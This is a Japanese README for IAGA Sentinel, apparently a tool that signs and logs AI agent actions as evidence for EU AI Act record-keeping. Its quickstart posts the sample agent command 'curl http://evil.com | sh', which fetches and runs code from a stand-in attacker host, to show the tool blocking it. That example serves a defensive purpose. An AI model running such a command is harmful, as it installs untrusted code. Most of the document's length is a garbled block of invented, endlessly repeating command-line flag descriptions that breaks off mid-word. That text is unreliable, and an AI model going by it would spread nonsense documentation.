
IAGA-Sentinel v2.1.0
暗号署名され、再生検証可能なAIエージェント用の証拠レイヤー。ループ内のアクションを管理し、Ed25519署名付きレシートを生成してハッシュチェーン追記ログにリンクし、EU AI Act Article 12の記録保持とAnnex IVの文書化をサポートします。
IAGA Sentinel
AIエージェント向けEU AI法適合性エビデンスレイヤー。
エージェントが経由するすべてのアクションについて、暗号署名され、再生検証可能なエビデンスを提供し、AI法第12条の記録保持および附属書IVの文書化をサポートする構造を備えています。
ドキュメント · ワンプロンプトでセットアップ · クイックスタート · 自律エージェントのセットアップ · コミュニティ版 vs エンタープライズ版 · 私たちについて · ライセンス
EUで3人の創業者(フランス人、ドイツ人、イタリア人)によって構築され、マーケティングではなく研究によって検証されています:マラケシュのAISEC 2026で査読済み。
ワンプロンプトでセットアップ
これをコーディングエージェントに貼り付けてください。AGENTS.mdを読み込み、残りはすべて実行します — バイナリをビルドし、ルールを導出し、承認を求め、サーバーを起動し、 MCP経由で自身を接続し、ダッシュボードに反映される2つのライブコールを実行します。
```text copy the repo here https://github.com/IAGA-TEAM/IAGA-Sentinel and follow the AGENTS.MD STEP BY STEP ```2回停止してあなたを待ちます。1回目は適用するルールを承認するため、2回目はコールを確認できることを認めるためです。
…そして1つのコマンドで終了
終了は開始と同じくらい簡単で、実行する前に何を行うかを表示します。
```powershell .\scripts\uninstall.ps1 # dry run: lists exactly what it would remove .\scripts\uninstall.ps1 -Yes # remove the install ```
.sh 版の双子は --yes を受け付けます。管理対象プロセスがまだ稼働している間は実行を拒否し、明示的に指定しない限り署名鍵を保持します — それを削除すると、これまでにエクスポートしたすべてのレシートが恒久的に検証不能になります。
閉じるアカウントも、残るデーモンも、テレメトリもありません。インストール全体は、データベース、ポリシーファイル、そしてあなたが所有する鍵だけです。
IAGA Sentinel とは
AIエージェントはシェル、ファイルシステム、データベース、サードパーティAPI、シークレットに触れます。規制当局、監査人、または自社のDPOが、エージェントが何をしたかを証明し、その記録が後から改ざんされていないことを証明するよう求めたとき、ほとんどのチームは提示できるものを持っていません。IAGA Sentinel はその証明を生成します。エージェントスタックの隣に配置され(HTTPサイドカー、MCPプロキシ、または iaga run)、すべてのガバナンス判定を、ハッシュチェーンで連結された追記専用ログにリンクされた Ed25519 署名付きレシートに変換します。これはオフラインで検証可能で、再現可能な判定(固定リスク重みの下で決定的)とリプレイベースのドリフト検出を備えています。この記録は、EU AI法第12条の記録保持要件をサポートし、高リスクシステムに必要な附属書IVの技術文書の作成にも役立つように構造化されています。
[!IMPORTANT] IAGA Sentinel はループ内でガバナンスを行い、強固に封印します。判定はアクションが進行する前に計算されます。
iaga runでは、ブロックされたプロセスは決して起動せず、許可されたプロセスは直接隔離されます — 環境からシークレットが除去され、コアダンプなし、権限昇格なし、親プロセスとともに回収されます。署名付き証拠とオフラインリプレイは、クリーンなチェックアウトから今すぐ実際に検証可能です。カーネルレベルの隔離(eBPF/LSM によるシステムコールおよびネットワーク仲介)は Enterprise ティアであり、このオープンビルドには含まれていません。iaga kernel statusはその姿勢を正直に報告し、すべてのレシートにはis_authoritative: falseが含まれます。提供していない強制機能を販売することはありません。

すべてのガバナンス判定は、Ed25519 で封印され、ハッシュチェーンログにリンクされた署名付きレシートになります。
他と異なる点:
- 証言ではなく証明。 Ed25519 + ハッシュチェーン化されたレシート。スタンドアロンの
iaga-verifyバイナリでオフライン検証可能: サーバー不要、ネットワーク不要、IAGA への信頼も不要。 - 正直な姿勢。 強制の姿勢は署名付き証拠自体に記録されます(
is_authoritative: false)。脚注に埋もれることはありません。 - セルフホスト、ベンダー不在のループ。 完全にセルフホストまたはエアギャップ環境で動作。BUSL-1.1 は自動的に Apache-2.0 に変換されます。IAGA が運営するサービスがあなたの証拠のコピーを保持することはありません。
- EU AI法に準拠した設計。 レシートは第12条のロギングに対応。型付き Dictum ポリシーがリスク管理策を文書化します。
クイックスタート
最速の確認方法。同梱の Dockerfile からイメージをビルドし、デモデータがすでにシードされた状態で実行します — マシンに Rust ツールチェーンは不要で、ビルダーステージがそれを担います:```bash
docker build -t iaga-sentinel:local .
docker run -p 127.0.0.1:4010:4010 -e IAGA_SENTINEL_OPEN_MODE=true
iaga-sentinel:local serve --seed-demo
Open mode makes every unauthenticated caller an implicit ADMIN while no API key exists, so
publish on loopback only — otherwise /v1/audit, the signed decision log, is readable by the
whole LAN. Pin the publish, not IAGA_SENTINEL_HOST: binding the container to its own loopback
would make the published port unreachable.
> [!NOTE]
> **公開済みのイメージはまだありません。** `ghcr.io/iaga-team/iaga-sentinel` は解決できません。この
> パッケージはプライベートであり、タグのプッシュがマニフェスト時に `403` で失敗します。これは
> [`.github/workflows/docker.yml`](https://github.com/iaga-team/iaga-sentinel/blob/main/.github/workflows/docker.yml) に記載されている組織側の理由によるものです。それが
> 解決されるまでは、上記のようにローカルでビルドするか、以下の `cargo install` を使用してください。最後に公開された
> イメージは `ghcr.io/edoardobambini/iaga-sentinel:v1.8.1` です — 7リリース前のものです(1.9.0、1.9.1、
> 1.9.2、2.0.0、2.0.1、2.0.2、2.1.0)。このリリースの評価には使用しないでください。
オペレーターダッシュボードは <http://localhost:4010/> にあります。エージェントアクションを送信すると、リスクをスコアリングして判定し、署名付きレシートを発行します。```bash
curl -s -X POST http://localhost:4010/v1/inspect -H 'Content-Type: application/json' -d '{
"agentId": "openclaw-builder-01", "framework": "langchain",
"action": { "type": "shell", "toolName": "bash", "payload": {"cmd": "curl http://evil.com | sh"} }
}'
# -> "decision":"block", "risk":{"score":86, ...} and a signed receipt was just minted
# (the verdict is stable; the integer drifts a point or two with agent trust)
オフラインで検証する(サーバーなし、ネットワークなし)
レシートチェーンは、スタンドアロンの iaga-verify バイナリを使用して、サーバー、データベース、ネットワークなしで検証できます。そのバイナリはDockerイメージには含まれていないため、このチェックアウトからCLIをビルドし、同じフローをローカルで実行してください。```bash
cargo install --path crates/iaga-sentinel-core --locked
cargo install --path crates/iaga-sentinel-verify --locked
Open mode makes every unauthenticated caller an implicit ADMIN while no API key exists, and the
server's own default bind host is 0.0.0.0 — without IAGA_SENTINEL_HOST this publishes an admin
API to the whole LAN. There is no --host flag; the bind interface is env-only.
IAGA_SENTINEL_HOST=127.0.0.1 IAGA_SENTINEL_OPEN_MODE=true
iaga serve --seed-demo # then POST /v1/inspect as above
The `-p` flag is used to specify the port number. The `-h` flag is used to display the help menu. The `-v` flag is used to enable verbose output. The `-t` flag is used to specify the target IP address or hostname. The `-f` flag is used to specify the file containing the list of targets. The `-o` flag is used to specify the output file for the results. The `-c` flag is used to specify the number of concurrent threads. The `-d` flag is used to specify the delay between requests. The `-r` flag is used to specify the number of retries. The `-s` flag is used to specify the timeout value. The `-u` flag is used to specify the user agent string. The `-x` flag is used to specify the proxy server. The `-k` flag is used to specify the cookie string. The `-a` flag is used to specify the authentication credentials. The `-e` flag is used to specify the encoding type. The `-m` flag is used to specify the HTTP method. The `-b` flag is used to specify the body of the request. The `-H` flag is used to specify the headers. The `-q` flag is used to specify the query parameters. The `-j` flag is used to specify the JSON data. The `-F` flag is used to specify the form data. The `-T` flag is used to specify the file to upload. The `-L` flag is used to follow redirects. The `-Z` flag is used to enable compression. The `-Y` flag is used to specify the SSL certificate. The `-W` flag is used to specify the SSL key. The `-V` flag is used to specify the SSL version. The `-N` flag is used to specify the SSL cipher. The `-I` flag is used to specify the SSL CA certificate. The `-O` flag is used to specify the SSL CA path. The `-P` flag is used to specify the SSL client certificate. The `-R` flag is used to specify the SSL client key. The `-S` flag is used to specify the SSL client key password. The `-U` flag is used to specify the SSL client key type. The `-C` flag is used to specify the SSL client key file. The `-D` flag is used to specify the SSL client key file password. The `-E` flag is used to specify the SSL client key file type. The `-G` flag is used to specify the SSL client key file format. The `-A` flag is used to specify the SSL client key file algorithm. The `-B` flag is used to specify the SSL client key file bits. The `-K` flag is used to specify the SSL client key file passphrase. The `-J` flag is used to specify the SSL client key file passphrase type. The `-Q` flag is used to specify the SSL client key file passphrase algorithm. The `-X` flag is used to specify the SSL client key file passphrase bits. The `-Y` flag is used to specify the SSL client key file passphrase format. The `-Z` flag is used to specify the SSL client key file passphrase encoding. The `-a` flag is used to specify the SSL client key file passphrase encoding type. The `-b` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-c` flag is used to specify the SSL client key file passphrase encoding bits. The `-d` flag is used to specify the SSL client key file passphrase encoding format. The `-e` flag is used to specify the SSL client key file passphrase encoding type. The `-f` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-g` flag is used to specify the SSL client key file passphrase encoding bits. The `-h` flag is used to specify the SSL client key file passphrase encoding format. The `-i` flag is used to specify the SSL client key file passphrase encoding type. The `-j` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-k` flag is used to specify the SSL client key file passphrase encoding bits. The `-l` flag is used to specify the SSL client key file passphrase encoding format. The `-m` flag is used to specify the SSL client key file passphrase encoding type. The `-n` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-o` flag is used to specify the SSL client key file passphrase encoding bits. The `-p` flag is used to specify the SSL client key file passphrase encoding format. The `-q` flag is used to specify the SSL client key file passphrase encoding type. The `-r` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-s` flag is used to specify the SSL client key file passphrase encoding bits. The `-t` flag is used to specify the SSL client key file passphrase encoding format. The `-u` flag is used to specify the SSL client key file passphrase encoding type. The `-v` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-w` flag is used to specify the SSL client key file passphrase encoding bits. The `-x` flag is used to specify the SSL client key file passphrase encoding format. The `-y` flag is used to specify the SSL client key file passphrase encoding type. The `-z` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-A` flag is used to specify the SSL client key file passphrase encoding bits. The `-B` flag is used to specify the SSL client key file passphrase encoding format. The `-C` flag is used to specify the SSL client key file passphrase encoding type. The `-D` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-E` flag is used to specify the SSL client key file passphrase encoding bits. The `-F` flag is used to specify the SSL client key file passphrase encoding format. The `-G` flag is used to specify the SSL client key file passphrase encoding type. The `-H` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-I` flag is used to specify the SSL client key file passphrase encoding bits. The `-J` flag is used to specify the SSL client key file passphrase encoding format. The `-K` flag is used to specify the SSL client key file passphrase encoding type. The `-L` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-M` flag is used to specify the SSL client key file passphrase encoding bits. The `-N` flag is used to specify the SSL client key file passphrase encoding format. The `-O` flag is used to specify the SSL client key file passphrase encoding type. The `-P` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-Q` flag is used to specify the SSL client key file passphrase encoding bits. The `-R` flag is used to specify the SSL client key file passphrase encoding format. The `-S` flag is used to specify the SSL client key file passphrase encoding type. The `-T` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-U` flag is used to specify the SSL client key file passphrase encoding bits. The `-V` flag is used to specify the SSL client key file passphrase encoding format. The `-W` flag is used to specify the SSL client key file passphrase encoding type. The `-X` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-Y` flag is used to specify the SSL client key file passphrase encoding bits. The `-Z` flag is used to specify the SSL client key file passphrase encoding format. The `-a` flag is used to specify the SSL client key file passphrase encoding type. The `-b` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-c` flag is used to specify the SSL client key file passphrase encoding bits. The `-d` flag is used to specify the SSL client key file passphrase encoding format. The `-e` flag is used to specify the SSL client key file passphrase encoding type. The `-f` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-g` flag is used to specify the SSL client key file passphrase encoding bits. The `-h` flag is used to specify the SSL client key file passphrase encoding format. The `-i` flag is used to specify the SSL client key file passphrase encoding type. The `-j` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-k` flag is used to specify the SSL client key file passphrase encoding bits. The `-l` flag is used to specify the SSL client key file passphrase encoding format. The `-m` flag is used to specify the SSL client key file passphrase encoding type. The `-n` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-o` flag is used to specify the SSL client key file passphrase encoding bits. The `-p` flag is used to specify the SSL client key file passphrase encoding format. The `-q` flag is used to specify the SSL client key file passphrase encoding type. The `-r` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-s` flag is used to specify the SSL client key file passphrase encoding bits. The `-t` flag is used to specify the SSL client key file passphrase encoding format. The `-u` flag is used to specify the SSL client key file passphrase encoding type. The `-v` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-w` flag is used to specify the SSL client key file passphrase encoding bits. The `-x` flag is used to specify the SSL client key file passphrase encoding format. The `-y` flag is used to specify the SSL client key file passphrase encoding type. The `-z` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-A` flag is used to specify the SSL client key file passphrase encoding bits. The `-B` flag is used to specify the SSL client key file passphrase encoding format. The `-C` flag is used to specify the SSL client key file passphrase encoding type. The `-D` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-E` flag is used to specify the SSL client key file passphrase encoding bits. The `-F` flag is used to specify the SSL client key file passphrase encoding format. The `-G` flag is used to specify the SSL client key file passphrase encoding type. The `-H` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-I` flag is used to specify the SSL client key file passphrase encoding bits. The `-J` flag is used to specify the SSL client key file passphrase encoding format. The `-K` flag is used to specify the SSL client key file passphrase encoding type. The `-L` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-M` flag is used to specify the SSL client key file passphrase encoding bits. The `-N` flag is used to specify the SSL client key file passphrase encoding format. The `-O` flag is used to specify the SSL client key file passphrase encoding type. The `-P` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-Q` flag is used to specify the SSL client key file passphrase encoding bits. The `-R` flag is used to specify the SSL client key file passphrase encoding format. The `-S` flag is used to specify the SSL client key file passphrase encoding type. The `-T` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-U` flag is used to specify the SSL client key file passphrase encoding bits. The `-V` flag is used to specify the SSL client key file passphrase encoding format. The `-W` flag is used to specify the SSL client key file passphrase encoding type. The `-X` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-Y` flag is used to specify the SSL client key file passphrase encoding bits. The `-Z` flag is used to specify the SSL client key file passphrase encoding format. The `-a` flag is used to specify the SSL client key file passphrase encoding type. The `-b` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-c` flag is used to specify the SSL client key file passphrase encoding bits. The `-d` flag is used to specify the SSL client key file passphrase encoding format. The `-e` flag is used to specify the SSL client key file passphrase encoding type. The `-f` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-g` flag is used to specify the SSL client key file passphrase encoding bits. The `-h` flag is used to specify the SSL client key file passphrase encoding format. The `-i` flag is used to specify the SSL client key file passphrase encoding type. The `-j` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-k` flag is used to specify the SSL client key file passphrase encoding bits. The `-l` flag is used to specify the SSL client key file passphrase encoding format. The `-m` flag is used to specify the SSL client key file passphrase encoding type. The `-n` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-o` flag is used to specify the SSL client key file passphrase encoding bits. The `-p` flag is used to specify the SSL client key file passphrase encoding format. The `-q` flag is used to specify the SSL client key file passphrase encoding type. The `-r` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-s` flag is used to specify the SSL client key file passphrase encoding bits. The `-t` flag is used to specify the SSL client key file passphrase encoding format. The `-u` flag is used to specify the SSL client key file passphrase encoding type. The `-v` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-w` flag is used to specify the SSL client key file passphrase encoding bits. The `-x` flag is used to specify the SSL client key file passphrase encoding format. The `-y` flag is used to specify the SSL client key file passphrase encoding type. The `-z` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-A` flag is used to specify the SSL client key file passphrase encoding bits. The `-B` flag is used to specify the SSL client key file passphrase encoding format. The `-C` flag is used to specify the SSL client key file passphrase encoding type. The `-D` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-E` flag is used to specify the SSL client key file passphrase encoding bits. The `-F` flag is used to specify the SSL client key file passphrase encoding format. The `-G` flag is used to specify the SSL client key file passphrase encoding type. The `-H` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-I` flag is used to specify the SSL client key file passphrase encoding bits. The `-J` flag is used to specify the SSL client key file passphrase encoding format. The `-K` flag is used to specify the SSL client key file passphrase encoding type. The `-L` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-M` flag is used to specify the SSL client key file passphrase encoding bits. The `-N` flag is used to specify the SSL client key file passphrase encoding format. The `-O` flag is used to specify the SSL client key file passphrase encoding type. The `-P` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-Q` flag is used to specify the SSL client key file passphrase encoding bits. The `-R` flag is used to specify the SSL client key file passphrase encoding format. The `-S` flag is used to specify the SSL client key file passphrase encoding type. The `-T` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-U` flag is used to specify the SSL client key file passphrase encoding bits. The `-V` flag is used to specify the SSL client key file passphrase encoding format. The `-W` flag is used to specify the SSL client key file passphrase encoding type. The `-X` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-Y` flag is used to specify the SSL client key file passphrase encoding bits. The `-Z` flag is used to specify the SSL client key file passphrase encoding format. The `-a` flag is used to specify the SSL client key file passphrase encoding type. The `-b` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-c` flag is used to specify the SSL client key file passphrase encoding bits. The `-d` flag is used to specify the SSL client key file passphrase encoding format. The `-e` flag is used to specify the SSL client key file passphrase encoding type. The `-f` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-g` flag is used to specify the SSL client key file passphrase encoding bits. The `-h` flag is used to specify the SSL client key file passphrase encoding format. The `-i` flag is used to specify the SSL client key file passphrase encoding type. The `-j` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-k` flag is used to specify the SSL client key file passphrase encoding bits. The `-l` flag is used to specify the SSL client key file passphrase encoding format. The `-m` flag is used to specify the SSL client key file passphrase encoding type. The `-n` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-o` flag is used to specify the SSL client key file passphrase encoding bits. The `-p` flag is used to specify the SSL client key file passphrase encoding format. The `-q` flag is used to specify the SSL client key file passphrase encoding type. The `-r` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-s` flag is used to specify the SSL client key file passphrase encoding bits. The `-t` flag is used to specify the SSL client key file passphrase encoding format. The `-u` flag is used to specify the SSL client key file passphrase encoding type. The `-v` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-w` flag is used to specify the SSL client key file passphrase encoding bits. The `-x` flag is used to specify the SSL client key file passphrase encoding format. The `-y` flag is used to specify the SSL client key file passphrase encoding type. The `-z` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-A` flag is used to specify the SSL client key file passphrase encoding bits. The `-B` flag is used to specify the SSL client key file passphrase encoding format. The `-C` flag is used to specify the SSL client key file passphrase encoding type. The `-D` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-E` flag is used to specify the SSL client key file passphrase encoding bits. The `-F` flag is used to specify the SSL client key file passphrase encoding format. The `-G` flag is used to specify the SSL client key file passphrase encoding type. The `-H` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-I` flag is used to specify the SSL client key file passphrase encoding bits. The `-J` flag is used to specify the SSL client key file passphrase encoding format. The `-K` flag is used to specify the SSL client key file passphrase encoding type. The `-L` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-M` flag is used to specify the SSL client key file passphrase encoding bits. The `-N` flag is used to specify the SSL client key file passphrase encoding format. The `-O` flag is used to specify the SSL client key file passphrase encoding type. The `-P` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-Q` flag is used to specify the SSL client key file passphrase encoding bits. The `-R` flag is used to specify the SSL client key file passphrase encoding format. The `-S` flag is used to specify the SSL client key file passphrase encoding type. The `-T` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-U` flag is used to specify the SSL client key file passphrase encoding bits. The `-V` flag is used to specify the SSL client key file passphrase encoding format. The `-W` flag is used to specify the SSL client key file passphrase encoding type. The `-X` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-Y` flag is used to specify the SSL client key file passphrase encoding bits. The `-Z` flag is used to specify the SSL client key file passphrase encoding format. The `-a` flag is used to specify the SSL client key file passphrase encoding type. The `-b` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-c` flag is used to specify the SSL client key file passphrase encoding bits. The `-d` flag is used to specify the SSL client key file passphrase encoding format. The `-e` flag is used to specify the SSL client key file passphrase encoding type. The `-f` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-g` flag is used to specify the SSL client key file passphrase encoding bits. The `-h` flag is used to specify the SSL client key file passphrase encoding format. The `-i` flag is used to specify the SSL client key file passphrase encoding type. The `-j` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-k` flag is used to specify the SSL client key file passphrase encoding bits. The `-l` flag is used to specify the SSL client key file passphrase encoding format. The `-m` flag is used to specify the SSL client key file passphrase encoding type. The `-n` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-o` flag is used to specify the SSL client key file passphrase encoding bits. The `-p` flag is used to specify the SSL client key file passphrase encoding format. The `-q` flag is used to specify the SSL client key file passphrase encoding type. The `-r` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-s` flag is used to specify the SSL client key file passphrase encoding bits. The `-t` flag is used to specify the SSL client key file passphrase encoding format. The `-u` flag is used to specify the SSL client key file passphrase encoding type. The `-v` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-w` flag is used to specify the SSL client key file passphrase encoding bits. The `-x` flag is used to specify the SSL client key file passphrase encoding format. The `-y` flag is used to specify the SSL client key file passphrase encoding type. The `-z` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-A` flag is used to specify the SSL client key file passphrase encoding bits. The `-B` flag is used to specify the SSL client key file passphrase encoding format. The `-C` flag is used to specify the SSL client key file passphrase encoding type. The `-D` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-E` flag is used to specify the SSL client key file passphrase encoding bits. The `-F` flag is used to specify the SSL client key file passphrase encoding format. The `-G` flag is used to specify the SSL client key file passphrase encoding type. The `-H` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-I` flag is used to specify the SSL client key file passphrase encoding bits. The `-J` flag is used to specify the SSL client key file passphrase encoding format. The `-K` flag is used to specify the SSL client key file passphrase encoding type. The `-L` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-M` flag is used to specify the SSL client key file passphrase encoding bits. The `-N` flag is used to specify the SSL client key file passphrase encoding format. The `-O` flag is used to specify the SSL client key file passphrase encoding type. The `-P` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-Q` flag is used to specify the SSL client key file passphrase encoding bits. The `-R` flag is used to specify the SSL client key file passphrase encoding format. The `-S` flag is used to specify the SSL client key file passphrase encoding type. The `-T` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-U` flag is used to specify the SSL client key file passphrase encoding bits. The `-V` flag is used to specify the SSL client key file passphrase encoding format. The `-W` flag is used to specify the SSL client key file passphrase encoding type. The `-X` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-Y` flag is used to specify the SSL client key file passphrase encoding bits. The `-Z` flag is used to specify the SSL client key file passphrase encoding format. The `-a` flag is used to specify the SSL client key file passphrase encoding type. The `-b` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-c` flag is used to specify the SSL client key file passphrase encoding bits. The `-d` flag is used to specify the SSL client key file passphrase encoding format. The `-e` flag is used to specify the SSL client key file passphrase encoding type. The `-f` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-g` flag is used to specify the SSL client key file passphrase encoding bits. The `-h` flag is used to specify the SSL client key file passphrase encoding format. The `-i` flag is used to specify the SSL client key file passphrase encoding type. The `-j` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-k` flag is used to specify the SSL client key file passphrase encoding bits. The `-l` flag is used to specify the SSL client key file passphrase encoding format. The `-m` flag is used to specify the SSL client key file passphrase encoding type. The `-n` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-o` flag is used to specify the SSL client key file passphrase encoding bits. The `-p` flag is used to specify the SSL client key file passphrase encoding format. The `-q` flag is used to specify the SSL client key file passphrase encoding type. The `-r` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-s` flag is used to specify the SSL client key file passphrase encoding bits. The `-t` flag is used to specify the SSL client key file passphrase encoding format. The `-u` flag is used to specify the SSL client key file passphrase encoding type. The `-v` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-w` flag is used to specify the SSL client key file passphrase encoding bits. The `-x` flag is used to specify the SSL client key file passphrase encoding format. The `-y` flag is used to specify the SSL client key file passphrase encoding type. The `-z` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-A` flag is used to specify the SSL client key file passphrase encoding bits. The `-B` flag is used to specify the SSL client key file passphrase encoding format. The `-C` flag is used to specify the SSL client key file passphrase encoding type. The `-D` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-E` flag is used to specify the SSL client key file passphrase encoding bits. The `-F` flag is used to specify the SSL client key file passphrase encoding format. The `-G` flag is used to specify the SSL client key file passphrase encoding type. The `-H` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-I` flag is used to specify the SSL client key file passphrase encoding bits. The `-J` flag is used to specify the SSL client key file passphrase encoding format. The `-K` flag is used to specify the SSL client key file passphrase encoding type. The `-L` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-M` flag is used to specify the SSL client key file passphrase encoding bits. The `-N` flag is used to specify the SSL client key file passphrase encoding format. The `-O` flag is used to specify the SSL client key file passphrase encoding type. The `-P` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-Q` flag is used to specify the SSL client key file passphrase encoding bits. The `-R` flag is used to specify the SSL client key file passphrase encoding format. The `-S` flag is used to specify the SSL client key file passphrase encoding type. The `-T` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-U` flag is used to specify the SSL client key file passphrase encoding bits. The `-V` flag is used to specify the SSL client key file passphrase encoding format. The `-W` flag is used to specify the SSL client key file passphrase encoding type. The `-X` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-Y` flag is used to specify the SSL client key file passphrase encoding bits. The `-Z` flag is used to specify the SSL client key file passphrase encoding format. The `-a` flag is used to specify the SSL client key file passphrase encoding type. The `-b` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-c` flag is used to specify the SSL client key file passphrase encoding bits. The `-d` flag is used to specify the SSL client key file passphrase encoding format. The `-e` flag is used to specify the SSL client key file passphrase encoding type. The `-f` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-g` flag is used to specify the SSL client key file passphrase encoding bits. The `-h` flag is used to specify the SSL client key file passphrase encoding format. The `-i` flag is used to specify the SSL client key file passphrase encoding type. The `-j` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-k` flag is used to specify the SSL client key file passphrase encoding bits. The `-l` flag is used to specify the SSL client key file passphrase encoding format. The `-m` flag is used to specify the SSL client key file passphrase encoding type. The `-n` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-o` flag is used to specify the SSL client key file passphrase encoding bits. The `-p` flag is used to specify the SSL client key file passphrase encoding format. The `-q` flag is used to specify the SSL client key file passphrase encoding type. The `-r` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-s` flag is used to specify the SSL client key file passphrase encoding bits. The `-t` flag is used to specify the SSL client key file passphrase encoding format. The `-u` flag is used to specify the SSL client key file passphrase encoding type. The `-v` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-w` flag is used to specify the SSL client key file passphrase encoding bits. The `-x` flag is used to specify the SSL client key file passphrase encoding format. The `-y` flag is used to specify the SSL client key file passphrase encoding type. The `-z` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-A` flag is used to specify the SSL client key file passphrase encoding bits. The `-B` flag is used to specify the SSL client key file passphrase encoding format. The `-C` flag is used to specify the SSL client key file passphrase encoding type. The `-D` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-E` flag is used to specify the SSL client key file passphrase encoding bits. The `-F` flag is used to specify the SSL client key file passphrase encoding format. The `-G` flag is used to specify the SSL client key file passphrase encoding type. The `-H` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-I` flag is used to specify the SSL client key file passphrase encoding bits. The `-J` flag is used to specify the SSL client key file passphrase encoding format. The `-K` flag is used to specify the SSL client key file passphrase encoding type. The `-L` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-M` flag is used to specify the SSL client key file passphrase encoding bits. The `-N` flag is used to specify the SSL client key file passphrase encoding format. The `-O` flag is used to specify the SSL client key file passphrase encoding type. The `-P` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-Q` flag is used to specify the SSL client key file passphrase encoding bits. The `-R` flag is used to specify the SSL client key file passphrase encoding format. The `-S` flag is used to specify the SSL client key file passphrase encoding type. The `-T` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-U` flag is used to specify the SSL client key file passphrase encoding bits. The `-V` flag is used to specify the SSL client key file passphrase encoding format. The `-W` flag is used to specify the SSL client key file passphrase encoding type. The `-X` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-Y` flag is used to specify the SSL client key file passphrase encoding bits. The `-Z` flag is used to specify the SSL client key file passphrase encoding format. The `-a` flag is used to specify the SSL client key file passphrase encoding type. The `-b` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-c` flag is used to specify the SSL client key file passphrase encoding bits. The `-d` flag is used to specify the SSL client key file passphrase encoding format. The `-e` flag is used to specify the SSL client key file passphrase encoding type. The `-f` flag is used to specify the SSL client key file passphrase encoding algorithm. The `-g` flag is used to specify the SSL client key file passphrase encoding bits. The `-h` flag is used to specify the SSL client key file passphrase encoding format. The `-i` flag is used to specify the SSL client key file passphrase encoding type. The `-j` flag is used to specify the SSL client key file passphrase encoding algorithm```bash
iaga replay --list # find the run_id
iaga replay <run_id> --export chain.json
